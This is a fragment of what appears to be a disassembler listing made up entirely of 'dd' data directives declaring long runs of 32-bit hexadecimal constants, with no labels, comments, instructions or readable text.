		dd 810BD308h, 5E960979h, 0DE870E50h, 0D1F7CB43h, 0D5100869h
		dd 5209C572h, 55BC477Eh, 0F95DE789h, 4876484h, 519609E9h
		dd 680808CAh, 0A9E71AAh, 0D3E0B5A0h, 0F62D89BFh, 0E574C29Ch
		dd 2E65246Eh, 2D938015h, 0D16B919Ah, 4DF4295Fh,	0BDE93B51h
		dd 0C121F8CEh, 3EF51172h, 397F912Bh, 955324B5h,	7CFC704Fh
		dd 56E15DF2h, 19307AA3h, 95118A68h, 0E90650C5h,	501858F2h
		dd 6CA3C425h, 2ED7D24Ah, 0F9103309h, 66C85F31h,	254AEF94h
		dd 244855BCh, 9D704B1Eh, 3715FB59h, 0EB31EA3Ah,	93790A86h
		dd 12EAF875h, 0DE30ABB5h, 8019D8E9h, 115AC580h,	975A72ECh
		dd 0DF3D582Ch, 0FC5B5BB8h, 516331F3h, 0FB40DFF7h, 4F4E90D7h
		dd 0E91FC091h, 0A0A6DB2Ah, 49BF5701h, 0B9041173h, 21D540E1h
		dd 2F3B97Ah, 5A426DBEh,	0C82AF064h, 6660506h, 2A7641A2h
		dd 8F0533AAh, 0B0670EACh, 0B23AB50Bh, 98EA0C85h, 0F20E80F3h
		dd 53CBE929h, 2EED8888h, 12EB61AFh, 0C9F4D85Bh,	5E8304BDh
		dd 476498Bh, 1517F2CEh,	7E63802Bh, 450D9E7Ch, 2374D6E9h
		dd 0FA24F5DAh, 0B981FB5Dh, 8A7F9F3Bh, 6167180Ah, 0B5E0B116h
		dd 4312CE5Eh, 0E5F2E1D3h, 0E85E3F82h, 0A836692Fh, 305D0EBh
		dd 183D7B70h, 0D999E82Dh, 7F2F7156h, 46C1A894h,	772D1B4Ah
		dd 0ECCEAD2h, 6D74601Fh, 792BD9C3h, 0CE2F0E7Bh,	64BFB28Bh
		dd 5DEA16AAh, 0B2560451h, 104BA972h, 64483217h,	4A603701h
		dd 20D3210Dh, 2B972E94h, 0DE347F6Fh, 79BC489Dh,	0C91BBF4Fh
		dd 4076A1E5h, 1173C31h,	7F4114Ch, 0EEFEE8C8h, 0D759CD82h
		dd 834F1F3h, 222E183h, 347EBF5Dh, 4C4168A2h, 0E374241Eh
		dd 36A20D4Ah, 42EC3878h, 0BE0EF47Bh, 685802CBh,	6DE66CC2h
		dd 54397CBFh, 0AB5AB490h, 746AB69Dh, 2FFDBBEEh,	7CC1E90Eh
		dd 55E6BB12h, 81BFE24h,	0BB01EA7Eh, 6CE44F38h, 0F750C12Ah
		dd 3C0A61DBh, 3BE3E1Fh,	94CC578h, 5FCDE1F1h, 4696E57Dh
		dd 0CF6BC644h, 72BF0B90h, 4FF7F802h, 0A25EEFC2h, 5D9B2209h
		dd 9A3DCAD3h, 74166011h, 187B0806h, 0C504772Fh,	0F6AB24FEh
		dd 49E9C7F5h, 16CBF3CAh, 0F95A5019h, 4B580695h,	36504132h
		dd 7D9509BFh, 1E548862h
		dd 97811B14h, 8A505EBFh, 40CE0C05h, 42AB10D1h, 37085F9Dh
		dd 0EF5E2708h, 8A6CFD58h, 0BE029770h, 4FD25854h, 1A3E9F7h
		dd 0DF3E1642h, 0E5E9E719h, 43BC3E8Dh, 0DF3280B5h, 6A5E295Fh
		dd 609A37AAh, 40AA4F10h, 4058AF95h, 611FDCC5h, 4920C044h
		dd 19059A6h, 1C056C9Fh,	2506DA68h, 0B62EB45Fh, 4044934h
		dd 0D827BE38h, 0F9A49725h, 4F1859A3h, 40E72997h, 0A25952A0h
		dd 0B6BB2B01h, 11525CBh, 314F47Ah, 0DAA3B204h, 2FA3DD09h
		dd 0B4E9C12Fh, 686F841Bh, 0A79971A9h, 406FE3FDh, 640FE693h
		dd 519D26FAh, 8A9126C4h, 0A6E91568h, 0BD882A3Ch, 0C37DFE6Eh
		dd 29D325BDh, 0B9C06DECh, 7CD2086Dh, 820B1D98h,	0C09CD930h
		dd 9C91E953h, 138826DCh, 0C41FE234h, 44AD01E9h,	0C378B94Bh
		dd 0FEE9C209h, 0A2C5982Dh, 2D7D7854h, 12A2E42Ch, 9D499A48h
		dd 3513DCC3h, 5E685BC5h, 1604EBA9h, 0AFE0A070h,	0BE8B6413h
		dd 0A310F048h, 7E8B5AA4h, 0F853BE4Ah, 645B371Ah, 0BA97F297h
		dd 21582C3Bh, 0ADD627D2h, 3798EB82h, 6EEC7D2Bh,	3EC542B4h
		dd 3A8BBAF5h, 8B1CFA21h, 0AEEEA05h, 5D82026Fh, 123BC177h
		dd 842BB40h, 0E932120Bh, 2A38E190h, 0C1DD6FDCh,	0A1685AD9h
		dd 0BF9A3F3Fh, 0B5EDE84Ah, 9676A2BBh, 1788F40Ch, 0F4585AC6h
		dd 751A0818h, 0FC0C2F93h, 2A98A58Ah, 5870A368h,	0CA1E5D9Dh
		dd 81B17E4Ah, 817A5B75h, 3BF52C43h, 29D74EB9h, 0ED23010Ah
		dd 0C2D1800Dh, 0B9F6EA66h, 5AD32789h, 51B89957h, 0B2A26F20h
		dd 0A8F21A5Bh, 0C3482630h, 0A8AC1285h, 0DD328BAEh, 40DFCB02h
		dd 9EF7B10Bh, 1FEC824Fh, 70435415h, 81AA139Ch, 0C8FE3E23h
		dd 6EF309E3h, 42FFD782h, 0E409D5D5h, 6EE2AD5Eh,	4C8A689Ah
		dd 6B1AB719h, 0E9F9CB18h, 0FF87962Dh, 0E4A5B09Bh, 5DF0B58Dh
		dd 9EE93309h, 6811B190h, 32BE7BC4h, 10845A4Dh, 8F713E54h
		dd 0B0BBFC7Eh, 180268D2h, 42102915h, 86C45CAFh,	7299F909h
		dd 5C783130h, 21A1D172h, 0E96F84D0h, 0EE162A7Ah, 4B7C7088h
		dd 2BD9F79Dh, 6884455Dh, 8BBF13FBh, 182F404Eh, 7DBF715Eh
		dd 0B6A62CB5h, 0C3302DC3h, 68858471h, 688D3872h, 9318C27Eh
		dd 5BB8D009h, 8B90F8C1h, 2D4354F3h, 96FF3CDFh, 0F1E906D4h
		dd 0C0B74B8Fh, 3E232C73h, 0B2F70307h, 5F5B2785h, 0E797A950h
		dd 98429BFh, 55A9FE64h,	324AD600h, 81070EE1h, 7B4315C9h
		dd 0C17D663Bh, 2D314018h, 4BA22330h, 17B0CFBAh,	2DAA59C8h
		dd 41C37657h, 2C9C3ABEh, 2D677D2Ch, 44764C60h, 751A0560h
		dd 1620A43h, 26072DE8h,	347925CFh, 8412617Ah, 309EB401h
		dd 288018CDh, 0C5800FE5h, 0A6C587Ah, 22998B39h,	210C3181h
		dd 0A507010Bh, 0E30A522Ch, 1FF84F7Bh, 0CB0AAB4h, 2B444129h
		dd 97AA1985h, 167CB41Bh, 0DCA10F09h, 74687029h,	0B9CC7F4Bh
		dd 82CA9FDCh, 4C5D0C62h, 0A8A9F8C7h, 9D2877DAh,	514E3514h
		dd 0D0BA8EABh, 6B77399Ch, 87E5FF52h, 419FD0A5h,	478F3E81h
		dd 2172E90Bh, 0DC2697Ch, 41959A53h, 668262B7h, 0A44A7BBFh
		dd 0BFCE4361h, 47709337h, 98AAF3F4h, 65B2FEC3h,	0B1FC1F49h
		dd 0AB2F05A7h, 0A5D1A5F7h, 42069414h, 6C574F8Bh, 38703179h
		dd 0BB3F6165h, 7D311283h, 0EE2E52h, 0B507743Dh,	0BB035361h
		dd 7FC33813h, 6C69D268h, 1FC609CDh, 0D8DC3FB9h,	1C53E658h
		dd 16E9634Fh, 2070BFC6h, 957ABF68h, 534CA5CCh, 0E2D73C2Eh
		dd 0CCE2D118h, 0BAFAFA61h, 0B4500778h, 0A2CCFEA1h, 0B3FA697Bh
		dd 704610A1h, 78B488C7h, 336C0500h, 0F6523E91h,	0D16A5FC6h
		dd 7C51602Eh, 74AEC4BCh, 75C95D0Fh, 6B597AE1h, 0EBD62CBCh
		dd 0C6CE6234h, 0FE97C548h, 0E917E68Eh, 0E6EB9003h, 8A244391h
		dd 7C173474h, 77E95C0Bh, 6F8D472Eh, 54B57083h, 8976214Dh
		dd 1359703Dh, 0AFFD8955h, 295F0204h, 4B89DAEFh,	4C462FBBh
		dd 9E9886FAh, 0AA82D7ACh, 0DF2AEB0Bh, 0C0B4720h, 5B9F77A7h
		dd 2B6D0DBFh, 6357F921h, 80503C67h, 19095C8Dh, 1242BB58h
		dd 0FA0C7546h, 4AE9B1C8h, 8072C092h, 0BC9E1EEAh, 9103D049h
		dd 1F6841CFh, 5A4C367Ah, 0E909E0A9h, 0C9F94BB9h, 462EBB28h
		dd 16C0F437h, 0A0019378h, 2F7B18F0h, 80775CCDh,	0D31FF783h
		dd 0A96FF9C7h, 0F2E90C85h, 9F5C9E82h, 64B9A230h, 170E91C4h
		dd 1F548E98h, 4A59BC74h, 40555F47h, 4DD0443Ah, 257E78B0h
		dd 2907FB09h, 2B4C02C7h, 0EE465DC2h, 964AADF2h,	0C9E69F8h
		dd 581098A8h, 62806813h, 404BA435h, 0D7508301h,	0EEB17676h
		dd 0C7B0975Dh, 469738B3h, 544ABDA8h, 27EB5855h,	0D20A16E9h
		dd 587E1EFAh, 97BE5674h, 0A992BBBEh, 0DB80A15Eh, 290FBFDFh
		dd 0B684F8F5h, 9ADF2764h, 55E620AEh, 0B6038968h, 59747A74h
		dd 97E85658h, 0C8B93124h, 58BD5967h, 18E3279Ah,	0BB0C05DFh
		dd 0DAC73C81h, 971AE97Fh, 4B5DDBBBh, 0E9AD65AEh, 0F6E99742h
		dd 7D6EBA03h, 3E057FD4h, 802B8296h, 8EBF1694h, 89F55C3Ah
		dd 0C71B9123h, 9F7CD2C4h, 66686521h, 0C9013C31h, 25D7F612h
		dd 89014DD7h, 25A9F920h, 0E975C3A9h, 10A45499h,	6E5809A5h
		dd 13B9E113h, 0F42D25B7h, 0CC07E0Fh, 51EB8853h,	0EDDEE852h
		dd 6537E041h, 94C4AE05h, 513EC6ECh, 0F75B7D48h,	87E5106Ch
		dd 59EF8800h, 0F8B75352h, 1497FEEEh, 0B03AE1DFh, 0E040A7DCh
		dd 519F2468h, 0A610D305h, 0B5068222h, 14EC882Bh, 0C7C07FE0h
		dd 72936857h, 25427C04h, 1A52737Ah, 921E029Fh, 0FFC30779h
		dd 0CCD764CBh, 274BA617h, 4D5057E9h, 0F42552BBh, 3A1C71AFh
		dd 496FFA2Dh, 965D1942h, 0C7C74967h, 35563F6Bh,	0D797ACE2h
		dd 0D2266567h, 5F937026h, 0B49597FFh, 70A2AC44h, 9359E577h
		dd 0FD080BDEh, 751E845Bh, 0D88DF3FBh, 25E95476h, 0E65563D8h
		dd 4965BDAh, 0BA082C6Ah, 24531598h, 3C12C388h, 0F028588Bh
		dd 8E29677Fh, 0EB175D7Ah, 0B118553Dh, 0C93059E9h, 24F7013Dh
		dd 41753455h, 0FA5E8360h, 3A703BC1h, 9638E5F2h,	42F7DDE1h
		dd 0F5C8F5E7h, 51C2F4FEh, 501383DFh, 4E41F760h,	312C2F67h
		dd 9EA4245Eh, 1377DE0Ah, 79E4D55Ah, 0B76E927h, 0FF41F7E2h
		dd 0AB127AA6h, 41915FDCh, 0CBA12F26h, 31B8922Fh, 1BE9AC68h
		dd 0EDB97960h, 58F52621h, 571DC402h, 2945C633h,	8831CFDh
		dd 0E9141C40h, 6E638327h, 6E68121Eh, 0C45FAC22h, 0F51666C6h
		dd 0F165600Eh, 6F48A7BDh, 0E00AB8C2h, 2845CFEFh, 81C7428Ch
		dd 0FF38CEB2h, 7A43B905h, 26BA825h, 3951782Dh, 0FB017D49h
		dd 9023D160h, 96583C2Eh, 45A50812h, 333ACDE7h, 0CCC853A8h
		dd 610E5677h, 1709B2E9h, 353260EFh, 0E57D722Ch,	0C2B40501h
		dd 0EB81EF33h, 0E959912Ah, 5B09749Ah, 8F1E6825h, 0E2EB69D1h
		dd 295B7500h, 0E5005513h, 48CA10CEh, 85D95AF7h,	8302BC3Eh
		dd 8F5AD529h, 66D46EB4h, 993864C1h, 3F94F33Ah, 3037CF72h
		dd 632596h, 8108E7C1h, 0BB20E6CFh, 0D7F77F01h, 8295E94Fh
		dd 0E380AA05h, 5A4AFA6Dh, 0F18B4ACh, 645F4182h,	0F7DD902Ah
		dd 75273F74h, 95EA401Eh, 4A7CB59Ah, 851775Ah, 0B8D0FF4Fh
		dd 0D405CF90h, 0FB15F313h, 50C6F340h, 275A25B8h, 0C0571D16h
		dd 306DFB80h, 0E9203309h, 6C957426h, 34485ECCh,	0ABF50B07h
		dd 28F72C68h, 0D2D57A72h, 38BF4F9Dh, 8E34E97Fh,	3888103Eh
		dd 300909BDh, 51702A7Dh, 9BC20A2Ch, 2F21F200h, 0D3E96033h
		dd 0A13BBC96h, 5F384EA8h, 9C123088h, 2310CC0Ch,	0A45365EAh
		dd 5B22BA5Eh, 5792EA29h
		dd 0C420BC44h, 0EE88280Ah, 5DC359C5h, 9A55048h,	0CAF6025Ch
		dd 44D10269h, 41D70B17h, 0A0656F2Ah, 74AF3940h,	5081F2ADh
		dd 768CCDF1h, 1306B065h, 0C3DC017h, 0E17D32E2h,	0D09EEDF8h
		dd 6E1F6804h, 0DF0832EBh, 6D2F0FDCh, 166CA658h,	0CB94D031h
		dd 2264B76Ch, 9A806F0Ch, 99028B2Bh, 0A45C6BCCh,	2ABD0C76h
		dd 0EFAEA49h, 7F81DAB5h, 4EE879F5h, 5FEC0FE1h, 286CAA57h
		dd 2DCC4011h, 0FF5DCAB7h, 856F4948h, 5FCCA6B7h,	250F7B06h
		dd 0C7D1BDC5h, 8D10712Ch, 2F8CA85Ah, 3AE15C0Ah,	7876592Dh
		dd 5806DC4Bh, 0DB2E5415h, 81177916h, 1C94D4ADh,	212D9B20h
		dd 0C71500D5h, 0F26A2072h, 7862B8CDh, 811017BAh, 0AD560807h
		dd 0CE684903h, 0C3451614h, 8E735ACh, 0BC2A492Eh, 0BDFDD0B5h
		dd 0E91202B4h, 14F65BCh, 0D8DC1072h, 7DC80E1h, 78B769E0h
		dd 8D26193h, 4008E2C1h,	0F824FCF4h, 5AD009B7h, 0BE5604D5h
		dd 0AB8A4057h, 2D4864C0h, 4B0C7524h, 0CF1112F5h, 0A5E90806h
		dd 0B0F7147Ah, 0ED40B325h, 0E5975954h, 3C6AE251h, 2B48BB00h
		dd 2E114814h, 27181D02h, 0C2DC21B3h, 0F7BCE607h, 3B097579h
		dd 0BF5F7884h, 0C6CDD475h, 63E9D604h, 0C6FCEE31h, 0B30E4101h
		dd 583F96h, 272B0336h, 58871CF7h, 8174A37Dh, 6F1E67F0h
		dd 0F7D20FDh, 2D050D1Fh, 7DC2F301h, 1882138Bh, 0C47C0779h
		dd 0E0010FFFh, 0F82B06E1h, 38589526h, 20DB4948h, 66FFA19Ah
		dd 5F9C8914h, 0B1305EAEh, 9F2051E9h, 386B082Ah,	5A38F13Bh
		dd 6AFCA05Bh, 2B61335Ah, 1F264DACh, 3294B314h, 0C72F7205h
		dd 0D8A4093Fh, 5B8A057Dh, 529892AAh, 27D50DC0h,	0BA092902h
		dd 0E0504819h, 788C201h, 0E9636C43h, 0F259392Eh, 0FD2FEEA3h
		dd 513761A2h, 29282D00h, 0DC7F5EC7h, 0DC4BE959h, 0FFEAB8E1h
		dd 0CA900114h, 0FC75DDAAh, 0E9177624h, 0E0FC6A93h, 2DD8C99Ch
		dd 0C01A62D5h, 0EE65CAB6h, 6F6CA41h, 0B20027A1h, 37193548h
		dd 78678A2Dh, 0C23109ADh, 0C7AB59E9h, 798AA178h, 33A67F46h
		dd 14F2272Eh, 0F5E62242h, 7715C451h, 7BD14F89h,	0A36E7A3Bh
		dd 2A059366h, 0AD98314Fh, 528A40A4h, 68F2B205h,	0E6D8797Fh
		dd 307E41C8h, 14B2E767h, 66077797h, 0FEA7081Ah,	9BE9045Eh
		dd 8889BB15h, 964CA36Ah, 21602756h, 2D1C0C68h, 0E2817F25h
		dd 3A2F7A64h, 0C16EE9F5h, 2AA61EF8h, 0C1FAB194h, 2280EBh
		dd 2D1B13B8h, 0B0F072A0h, 0D49CB975h, 84EB1688h, 0F21A7468h
		dd 5013123Dh, 295B04E8h, 4FE700E5h, 737C0F2Dh, 0D4BED34h
		dd 0EB5C84EFh, 0E98235B2h, 0FBF7B43Fh, 7C7A098Ch, 4BF71E7Dh
		dd 5D7F0514h, 7EDB28Eh,	4A27685Ch, 5545D50Bh, 5ACF3031h
		dd 4E7CA5BBh, 332A4BEh,	90B98A40h, 806AF929h, 0D1629823h
		dd 0F13E8490h, 77E0137Ah, 86C4D01h, 35351B6Ah, 498B097Ah
		dd 5674B480h, 0EBD55D6h, 0C9C36F5Ch, 99105821h,	0E516522h
		dd 0C4BD36ACh, 8D6687E9h, 6C001B5h, 0F3815028h,	7B72370Eh
		dd 2A02CBECh, 835F0564h, 0A681F7EBh, 70108FACh,	5C40F64Ch
		dd 40AF09BAh, 305C02DCh, 0B8D4F218h, 70E91605h,	8116247Dh
		dd 0E97A03C8h, 0B30C823Fh, 699D48h, 4EBF5B7Eh, 7BF629C3h
		dd 5F2AD2C3h, 0C548DC70h, 51BEC6B2h, 19330979h,	22555AAEh
		dd 0DC8F1AEEh, 2C6983BFh, 5E0732DEh, 572E5EB5h,	5310CE67h
		dd 24E95D35h, 4923929Ah, 0D55129FDh, 0C459B10h,	8C42AC2Ch
		dd 7E92371Eh, 7052B0Ah,	0C858F83Ch, 0E154425h, 13A82717h
		dd 788704FEh, 0EB44D16Dh, 0CBE76F5Dh, 146505C0h, 0E9142DB0h
		dd 0D2D0118Eh, 0ADBBC5D4h, 4E89143Ch, 65CE0774h, 0C1AB0F3Ch
		dd 0D9DA4805h, 6361832Bh, 5FE968D7h, 10B03678h,	12486C72h
		dd 138B4E7Fh, 7D9AA9Bh,	857E31F5h, 98A3AB3Fh, 8638698h
		dd 0E00E2C27h, 4FA2E9B1h, 80A7E246h, 7173B850h,	252B0099h
		dd 36486733h, 4C95D0F7h, 0CA1E778Fh, 27FF0172h,	0BAC2B8B2h
		dd 6FB03D64h, 6FD94E0Bh, 0AB0B573Ah, 63554C48h,	5C975375h
		dd 240CC8F5h, 65552577h, 0C59F9606h, 2FEF664h, 8B03BBF1h
		dd 3F97403Ch, 161E954Dh, 0D80D5C95h, 7D5DDAE9h,	5A5E11E6h
		dd 0AF552065h, 70CB3203h, 0DAB1EF4Eh, 8C2CF4E9h, 6B76680Bh
		dd 0BA05081Ah, 82C02440h, 0FCA75A38h, 41E61E46h, 0F50ABB5Ch
		dd 8257370Ah, 5150ED00h, 95014994h, 7A6C52FEh, 9E3F133Dh
		dd 92C5A214h, 0D4129484h, 5BAADCAAh, 6ADC0E98h,	61C0C1C4h
		dd 0E9DE15C0h, 849261CDh, 0E8EF805Ah, 0F4955366h, 0C05B8BBAh
		dd 0F7C1E40Fh, 30CFFE2Dh, 170DFBFEh, 3BDECAE9h,	27A95E2Eh
		dd 9E77BA0Bh, 0F494B5F1h, 3B626812h, 5AE09689h,	8C18976Dh
		dd 18B72722h, 4C88EBAEh, 2349C6E2h, 1DE5B902h, 0AD779BEh
		dd 9D0303CFh, 0B76BD52Eh, 250801A7h, 0C53E6857h, 63EF2D38h
		dd 7D2D175Ch, 347EC983h, 98E0693Bh, 255EFCC0h, 0DA651E3Dh
		dd 8A78B2Ah, 5DA91610h,	0A1534895h, 71E7879h, 27322558h
		dd 4035271Ch, 0E9761753h, 6EB4B6E8h, 9156AA81h,	0D447975Eh
		dd 68B60039h, 936D4770h, 96AE88AFh, 0AF174216h,	7E67C191h
		dd 4A8B9A6Ah, 3623DBBh,	194F4798h, 77360F8h, 4F77D305h
		dd 6BDE8B78h, 74E06BC2h, 91124E56h, 79C19817h, 0CAAA3CDAh
		dd 0DD0F9CFAh, 764A75FAh, 0E29876ACh, 0B43F736Ch, 0D5EB2518h
		dd 6817DBE4h, 5AAD23DFh, 1394BAC4h, 7DEA5441h, 0B06BF61Dh
		dd 3C267FA5h, 700D5E82h, 0F86E26EEh, 8EC10265h,	57A3FB08h
		dd 65274DF0h, 16CBA06Ch, 0C1781B1Dh, 563E9B0Ch,	40C7F039h
		dd 8061C07h, 0EF9A4EE9h, 90F03A44h, 3339D21h, 92BBE0E9h
		dd 0A50E5B1Ah, 0EE54458Ch, 0A7771B80h, 0E9CB1376h, 0A3718594h
		dd 6FE98592h, 0D1F30B8h, 79C68B7Eh, 0B0C88281h,	68A3300Ah
		dd 10773017h, 0E79AF081h, 744B7398h, 0C41728C8h, 36038936h
		dd 33577E9h, 949DF2E7h,	0D7F2E780h, 0B774E455h,	0C11CA066h
		dd 992054Bh, 8BC50BEh, 889FF4Bh, 0ADC810FBh, 4EC3484Fh
		dd 0E9F02FB2h, 12919F64h, 30426E16h, 0C2CE8852h, 1F69F5DAh
		dd 42D83E6Ch, 313C4F6Bh, 2BFE119Ah, 5C3A2CFAh, 136E9E95h
		dd 4E1F766h, 0BF0C2B50h, 0C212A6E6h, 18B8A34Ah,	768DD11Dh
		dd 62D5BE29h, 0D25294ABh, 89C2154Eh, 9890804Fh,	0F8A9A525h
		dd 17CBD450h, 1D97E10h,	0CE30CBB1h, 0A6305966h,	5CC7E608h
		dd 106EACD0h, 0B2BC7BB0h, 0B973D47Ah, 0BB0474A0h, 37062484h
		dd 0E3C797FEh, 89925D21h, 0E258C222h, 955C5811h, 0D6A99CDFh
		dd 0F19BBB68h, 0FAC43D49h, 0FEFF8C5Ah, 4B210C44h, 7C1A5D4Ah
		dd 0A1562615h, 0E2591A05h, 5280BF3Bh, 4C9C62D9h, 0AF2FA378h
		dd 62EAD156h, 0EC261702h, 20CA5F53h, 1E0C080Ch,	51630F18h
		dd 254D5828h, 21FF7BDCh, 9061E96Ah, 6DBCDD2Ah, 3B50248Dh
		dd 31AB0813h, 6EC821A4h, 0E98E6DF2h, 631432C9h,	91CE2295h
		dd 0FBD0096Bh, 0CA291060h, 5FE0728Dh, 5AF28373h, 25D27F2h
		dd 66543E9Ch, 8F575CCCh, 81A35E29h, 3110E8C1h, 0F1E32BC8h
		dd 63336809h, 0C4D63E1Ah, 90520D6Ch, 24076B5Dh,	3D1322D2h
		dd 7A1FF1B0h, 2022D7A7h, 0F37D50D3h, 0ACFE26BDh, 0DCB90027h
		dd 0B866B078h, 8E0BD86Ch, 9C29BF59h, 7B296E09h,	262ACD55h
		dd 0BE142D3h, 51B85F79h, 1E22F77h, 5F0DC640h, 5F67DF6Eh
		dd 1B3A9DE2h, 0DDFFC95Fh, 0D3F83B80h, 0F9A00496h, 3E38DA9h
		dd 0C4CFB4h, 3EA2CE81h,	0AF385CEEh, 27FD833Ah, 23FE9EE9h
		dd 0F2105B6Ah, 3805AD00h
		dd 2D7E572Fh, 98778813h, 0E95602EFh, 84C529Bh, 27E3D35Dh
		dd 0CCA05F5Dh, 797572C5h, 5A15B698h, 0AC9F909h,	0F0A39CBCh
		dd 5391CB17h, 49234B19h, 0F5B8F45Eh, 0D09EE002h, 0A85955A6h
		dd 8A16C3DCh, 0EBBA90D0h, 15D23B67h, 0C5A5B13h,	0E6EFC40Eh
		dd 77018D05h, 2C04649h,	4A6B350Fh, 0F25EB061h, 84B20A4Eh
		dd 30D9A88Dh, 5CB7611Ch, 9468585Fh, 6F91F6BDh, 0B87578A9h
		dd 4BAC688Eh, 55612349h, 0D36ACBC8h, 54F77E69h,	0D9361621h
		dd 0A0ED6F84h, 0F726E04Fh, 93A3475Ah, 2015CA00h, 58C7211Eh
		dd 0EBF37897h, 68563180h, 4F092662h, 0AE2F8B5h,	19B7736Bh
		dd 0C2C1FFEh, 8E0C10F4h, 65675F19h, 60B124h, 93689526h
		dd 6B3F48C3h, 0A1E98D74h, 0C26E5CC9h, 0EC778991h, 0CC85B7F2h
		dd 2864BD2Eh, 6720AD09h, 0A95E5E69h, 43BF04BAh,	0D6810121h
		dd 4012A1Eh, 0B450E02Dh, 0E2888900h, 3CB35358h,	0BCDA4A30h
		dd 0BC5A3C59h, 933D27E9h, 5880C2F1h, 455E5268h,	0B941AF5Fh
		dd 0C3BB8C52h, 0F57BEFD9h, 0B0584497h, 0D529680Bh, 84AFDE02h
		dd 35E329D7h, 65157A04h, 97F0BF7Eh, 672013E7h, 4164B822h
		dd 4F7B6607h, 0B05133E0h, 33653C81h, 12ED2A24h,	2D1CF7BDh
		dd 0B7F47825h, 0BC682CB0h, 99F30D5Dh, 0EB5749E4h, 257AC363h
		dd 30E5FD43h, 0E9722C02h, 4EF858C5h, 9591E35Ch,	81AB3355h
		dd 3B112733h, 0E64A407Ah, 0E9E06FBDh, 0A0994D6Bh, 0F83C17BCh
		dd 15C452ECh, 961451h, 14307F2Bh, 9855D901h, 0C93E7843h
		dd 96F7971Eh, 0EE623122h, 6E6FBA4Ah, 0B22B4E8h,	0A7C2893Bh
		dd 525178CCh, 6C104A33h, 0FCB103D4h, 0D37EC180h, 87D53AD7h
		dd 93FB01F2h, 6B36BE56h, 2FFC2A8h, 60DEF7A3h, 3065CF11h
		dd 0C40C0863h, 3950F338h, 7518B284h, 0BB0C4CD6h, 51E138Bh
		dd 0AB4DC121h, 6E8A25DFh, 0D00621C2h, 0AF99F57h, 0BCE5F769h
		dd 8100012Ch, 0D4A541Bh, 4B771333h, 0CC40B22h, 0BD681918h
		dd 73CB365Fh, 0FAC0C32Fh, 0EE7BC15Bh, 0BD750B7h, 0FE145E40h
		dd 263BC0D7h, 7A8F817Bh, 44E2C641h, 0EC830F87h,	523477A3h
		dd 93A53D3Eh, 33D20204h, 9274755Eh, 92558E5h, 205CAF01h
		dd 0C853C2Bh, 0FF279D8h, 0A8DCC7F8h, 140CD008h,	42D65827h
		dd 94239E60h, 9A681636h, 3D39E328h, 1560966Ch, 311D2201h
		dd 37205566h, 0E7DB8347h, 75F17FF0h, 8617AC1h, 0F7F02C72h
		dd 4AB1EE4Ah, 5870E86Fh, 7C028F88h, 53BADF25h, 99359FDh
		dd 0C7E27E9h, 6A16FF2Dh, 25453420h, 0B86BF029h,	0F078CADAh
		dd 10FA054Eh, 8213BD0Bh, 7616E413h, 156545Ah, 68B4D01h
		dd 22F568C7h, 0F41A5BCFh, 5B41F134h, 0BF22842Ah, 0C672E664h
		dd 0F04C75C1h, 50B87195h, 46BB3B8Dh, 14FA1308h,	0F647955Bh
		dd 0EEB2257Fh, 0D7B404E6h, 82985312h, 0A166122h, 3A30C4B6h
		dd 0B28B0EFBh, 2806EB61h, 0D6C3E1E3h, 46D0A489h, 12B62320h
		dd 0CFF5295Ah, 9083209Ah, 98899280h, 4E9020EAh,	174B351Fh
		dd 0E22D2B00h, 0B8224D95h, 909CB5CFh, 6862E971h, 4A44540Bh
		dd 1AE008D2h, 7129580Bh, 0BFE2604h, 0F00F31B4h,	5CF3D3h
		dd 0D5E7855h, 12802D48h, 1251192Bh, 447405F5h, 73DF091Ah
		dd 55893055h, 0C6680352h, 5A503A58h, 9AB303C5h,	0BBBDA233h
		dd 0F005D2A0h, 5FE4011Fh, 0CCEAE12Dh, 67162AC2h, 44F08A13h
		dd 30257440h, 49F8317Dh, 7A753754h, 1AABD30Fh, 30C18C74h
		dd 3D3A5D13h, 8C66B216h, 65072F11h, 315A4AD5h, 1709A94Ah
		dd 181E578Dh, 1D40FE5Bh, 0D303AEF7h, 3F56BF30h,	6586920Ch
		dd 6B79452Ch, 0B9371BDh, 51107B7h, 79782003h, 57D8BBDh
		dd 0E7FF7517h, 85E617A0h, 0ED8399EAh, 0D4016559h, 36B34374h
		dd 0DF7C8609h, 33167515h, 8BC32F44h, 14E230EAh,	5F5A6B38h
		dd 0BD3BE38Dh, 44C54F48h, 6BC579FAh, 89ED244h, 0EC6E1BCDh
		dd 3068C2BAh, 489A27Eh,	67C2201Dh, 760BF2Dh, 0F61AD20Ch
		dd 0B9510242h, 436162F7h, 9735277h, 57F56734h, 825A8D5h
		dd 17120C34h, 0E28E3304h, 2AF36802h, 9220ACCCh,	0F8884B95h
		dd 2D503DFCh, 80AA8132h, 0E7C117EFh, 0FA5044E9h, 27029DBDh
		dd 285433C9h, 1025F25h,	4E5F5596h, 13C1FB2Fh, 86765DC2h
		dd 25685178h, 92F16B73h, 1780B192h, 6252EE2Dh, 7D4B5E30h
		dd 98BDF8FBh, 0E21762A1h, 350A1850h, 5301FA60h,	524A5C2Fh
		dd 91F21E6Eh, 294CC22Ah, 0EB425AD3h, 0A5FE3840h, 0A04A449Dh
		dd 3B216567h, 0EB04D964h, 0B8B528B7h, 41120490h, 0B7E14A78h
		dd 1C088DFAh, 0BEE91401h, 6601DB68h, 8868B050h,	0F86F34C7h
		dd 96BDB796h, 0DB2D5DC5h, 0E90CD027h, 0BB4CBCE2h, 0C740CEBCh
		dd 4B3B0856h, 516B547h,	0B1D48208h, 0A06A9C7Dh,	819CA600h
		dd 1D9F6052h, 29561A04h, 64AE5AD7h, 63D2F419h, 5AD0C1BDh
		dd 0C587867Dh, 0F2AF8020h, 71022905h, 2BE909A5h, 95A7464Ah
		dd 6841FAF6h, 0D3937580h, 0EA17C5F1h, 7DF78DC2h, 40619C12h
		dd 0C5800136h, 98EA2420h, 0C4384A05h, 46EDBE21h, 561608D3h
		dd 29814125h, 4E574420h, 0B7D7E84Eh, 109571D5h,	7FF745AFh
		dd 2CE2AD78h, 53677D43h, 92129690h, 0D0DC953Eh,	7C636069h
		dd 0DD77CD9Eh, 0E83EE81Bh, 0E4CB15CEh, 0C9AB5688h, 0E0704102h
		dd 0D878B77h, 24794967h, 12D6343Eh, 7B5FEFDBh, 84456C96h
		dd 81EF4DB4h, 819DEEFFh, 62A42D12h, 2FD47CBFh, 0FEAC771Eh
		dd 93405F05h, 909DDA2Dh, 0FB490657h, 10CB6A4Ch,	53006369h
		dd 0E3C071B3h, 0CB2C8004h, 3916C20Eh, 0C02CA0Ch, 0FC599701h
